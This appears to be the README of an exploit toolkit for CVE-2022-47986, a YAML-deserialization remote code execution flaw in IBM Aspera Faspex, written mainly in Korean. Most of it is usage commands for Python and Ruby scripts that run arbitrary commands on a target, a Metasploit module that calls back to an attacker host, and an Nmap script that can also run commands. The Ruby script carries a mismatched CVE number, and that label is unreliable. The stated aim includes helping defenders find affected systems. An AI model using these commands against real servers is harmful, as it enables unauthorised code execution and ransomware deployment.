
CVE-2022-47986: Python, Ruby, NMAP and Metasploit modules to exploit the vulnerability.
이 취약점은 실제 환경에서 악용되고 있습니다. IceFire는 이 취약점을 사용하여 대상 시스템에 랜섬웨어를 배포합니다. 저는 SOC/블루 팀이 영향을 받는 시스템을 식별하고, 펜테스터/레드 팀이 이를 악용하고 보고할 수 있도록 돕고자 합니다.
IBM Aspera Faspex에서 YAML 역직렬화로 인해 발생하는 RCE(원격 코드 실행) 취약점을 악용하기 위해 순수 Python 및 Ruby 스크립트, Metasploit 및 Nmap 모듈을 제안합니다.
python3 CVE-2022-47986.py <target> <command>
# OR
chmod u+x CVE-2022-47986.py
./CVE-2022-47986.py https://aspera.faspax.local id
ruby CVE-2021-31166.rb
ruby CVE-2021-31166.rb <hostname> -c <command>
ruby CVE-2021-31166.rb aspera.faspax.local -c id
msf6 > use exploit/linux/http/ibm_aspera_faspex_rce_yaml_deserialization
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > set LHOST 192.168.77.139
LHOST => 192.168.77.139
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > exploit
nmap -p 443 --script ibm-aspera-faspex-rce 172.17.0.2
nmap -p 443 --script ibm-aspera-faspex-rce --script-args "command=id" 172.17.0.2
GPL 버전 3에 따라 라이선스가 부여됩니다.